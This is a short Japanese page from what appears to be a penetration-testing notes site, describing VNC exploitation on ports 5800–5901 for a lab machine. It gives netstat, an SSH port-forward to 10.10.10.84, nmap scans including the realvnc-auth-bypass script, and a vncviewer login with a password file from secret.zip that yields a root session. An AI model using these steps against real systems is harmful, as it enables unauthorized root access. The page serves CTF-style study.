> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/ports-and-services/vnc-5800-5801-5900-5901.md).
# VNC - 5800,5801,5900,5901
SSH経由のVNCポートフォワーディング、VNCサービススキャン、vncviewerアクセス、rootセッション検証。
### 5800、5801、5900、5901 に対する VNC の悪用
リッスンしているポートを特定する:
```bash
netstat -an | grep LISTEN
```
#### **VNC ポートを転送するための SSH トンネル**
```bash
ssh -L 5801:127.0.0.1:5801 -L 5901:127.0.0.1:5901 charix@10.10.10.84
```
VNC サービスをスキャンする:
```bash
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5801 127.0.0.1
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5901 127.0.0.1
```
#### **vncviewer による接続**
で見つかったパスワードを使用する `secret.zip`:
```bash
vncviewer -passwd secret 127.0.0.1:5901
```
VNC セッションは **root権限** マシン上で。
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